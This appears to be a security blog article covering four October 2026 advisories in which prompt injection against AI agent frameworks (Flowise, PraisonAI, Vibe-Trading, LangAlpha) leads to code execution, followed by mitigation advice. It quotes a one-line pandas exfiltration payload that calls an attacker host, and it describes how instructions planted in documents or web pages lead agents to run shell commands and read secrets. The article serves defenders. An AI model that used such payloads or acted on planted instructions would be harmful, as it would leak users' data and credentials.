AI agent advisories: prompt injection becomes code execution

October’s crop of AI agent advisories tells one story four times: text the agent reads becomes code the agent runs. The fixes are version bumps, but the lesson is architectural, and it is not new.

Four advisories, one pattern

Between 2 and 21 October 2026, four open-source agent projects either published or had catalogued advisories describing the same chain. An attacker plants instructions in content the agent will read, the model obligingly turns those instructions into a tool call, and a tool with too much power executes it. None of this requires a clever jailbreak. It requires an agent that can run code and a developer who trusted the model to decide when it should.

Project	Advisory	Affected	Fixed	Rated
Flowise (CSV and Airtable Agent nodes)	GHSA-w7x8-q2gp-5cgg / CVE-2026-73487	3.1.2 and earlier	3.1.3	Critical (GitHub); CVSS v4 9.0 (CNA)
PraisonAI (praisonaiagents)	GHSA-2xv2-w8cq-5gxw / CVE-2026-61447	1.6.77 and earlier	1.6.78	Critical, CVSS 10.0
Vibe-Trading (vibe-trading-ai)	GHSA-jqmf-mx4f-hfr6 / CVE-2026-114107	0.1.0 to 0.1.6	0.1.7	Critical, CVSS 10.0 (GitHub); CVSS v4 8.7 (CNA)
LangAlpha	CVE-2026-109440	Through 2026.09.07	None listed	CVSS v4 8.7

Compiled from the GitHub Advisory Database and CVE records, checked 22 October 2026. Severity ratings differ between sources; we show both where they disagree.

Flowise: a blocklist meets pandas

Flowise’s CSV and Airtable agents let a model write Python against a loaded dataset, then check that Python with a regex-based validator before running it. The advisory is admirably blunt: “The validator has multiple structural bypasses”. The validator worked by listing forbidden things, and pandas is a large library with a great many unforbidden ones.

The advisory’s headline example is worth reading in full: “The most impactful bypass is trivial: pd.read_json("http://attacker.com/?d=" + df.to_json()) passes every regex check”. One line sends the whole dataset to an external server. The CVE record adds that the attack is reachable through the unauthenticated prediction API, with SSRF against internal services and code execution as the further prizes. The CVE record dates from 13 August 2026; the GitHub Advisory Database entry followed on 7 October. Upgrade both flowise and flowise-components to 3.1.3.

PraisonAI: the sandbox setting that was not a sandbox

PraisonAI’s CodeAgent, according to its advisory published on 8 October, “executes LLM-generated Python code in a subprocess with the complete parent-process environment (os.environ.copy()), zero AST validation, zero import restrictions, and no sandbox enforcement”. The detail that should worry anyone who reviews configuration rather than code is that this held even when CodeConfig(sandbox=True) was set explicitly. A flag that reads like a control, and does nothing, is worse than no flag at all, because it ends the conversation in the design review.

Copying the parent environment matters because that is where the API keys live. Any code the model can be talked into writing can read them. Version 1.6.78 is the fix.

Vibe-Trading and LangAlpha: root, shells and a vault file

The Vibe-Trading CVE record, published on 21 October, says attackers can “execute shell commands as root by planting instructions in documents or web pages the agent processes”. Its BashTool and BackgroundRunTool pass model-emitted commands to subprocess.run with shell=True, with no allow-list or approval step, and a read_url tool adds SSRF to the menu. The project’s own advisory explains the “as root”: the container image has no USER directive. Upgrade to 0.1.7.

LangAlpha’s CVE-2026-109440 follows the same script. Published on 20 October, it is credited to Noy Pearl, Michael Sromin and Ophir Dror; Lasso Security published the write-up. Its Bash and ExecuteCode tools “lack an allow-list and human-in-the-loop approval”, so instructions hidden in retrieved web content can run code in the workspace sandbox and read secrets from _internal/.vault_secrets.json. The record lists versions “through 2026.09.07” and no fixed release. No core release has followed v2026.09.07; a desktop release on 13 October does not say it fixes the flaw. If you run it, treat it as unpatched until the maintainers say otherwise.

Why the model cannot be the control

Each of these projects placed the security decision in the wrong layer. The model is asked to distinguish instructions from data, and it cannot do so reliably, because to a language model both are just text. OWASP has carried prompt injection as LLM01 for years. Its newer Top 10 for Agentic Applications gives the consequence its own entry, ASI05 Unexpected Code Execution, whose mitigations include “Ban eval in production agents” and “Never run as root”. Vibe-Trading fouled off the first and struck out on the second: shell=True is eval’s first cousin, and it ran as root.

The UK’s National Cyber Security Centre makes the same point in plainer English. Its interim advice on managing the cyber risk of agentic AI tells builders: “do not rely on prompting alone.” A regex blocklist is, in effect, a prompt written in a different language. It fails the same way.

What to do this week

Patch. Flowise 3.1.3, praisonaiagents 1.6.78 and vibe-trading-ai 0.1.7. For LangAlpha, disable the Bash and ExecuteCode tools or take the deployment offline until a fix appears.
Find the agents you did not know about. These packages turn up in proofs of concept that quietly become production. Search dependency manifests and container registries for the package names above.
Run generated code somewhere disposable. A fresh container or microVM per task, a non-root user, a read-only filesystem and an empty environment. Pass credentials to the specific tool that needs them, not to the interpreter.
Deny egress by default. The Flowise exfiltration and both SSRF paths need the agent to reach arbitrary hosts. An allow-list of the model API and the services the agent genuinely uses removes most of the payoff.
Put a human in front of irreversible tools. Shell, code execution and anything that writes or spends should require approval, or at least land in a log someone reads.
Rotate secrets held in the environment of any affected deployment that processed untrusted documents or web pages. Absence of evidence is not much comfort when the exploit leaves nothing but an outbound HTTP request.

None of these four projects is unusually careless. They are simply early, and early is where the pattern gets set. If your own agent design assumes the model will decline to do something harmful, these advisories are a free rehearsal of the day it does not.

To map these advisories onto a wider threat model, see OWASP agentic Top 10 meets MITRE ATLAS. Everything we publish on attacks on and with AI is in AI Security.

Four AI agent advisories, one lesson: prompt injection becomes code execution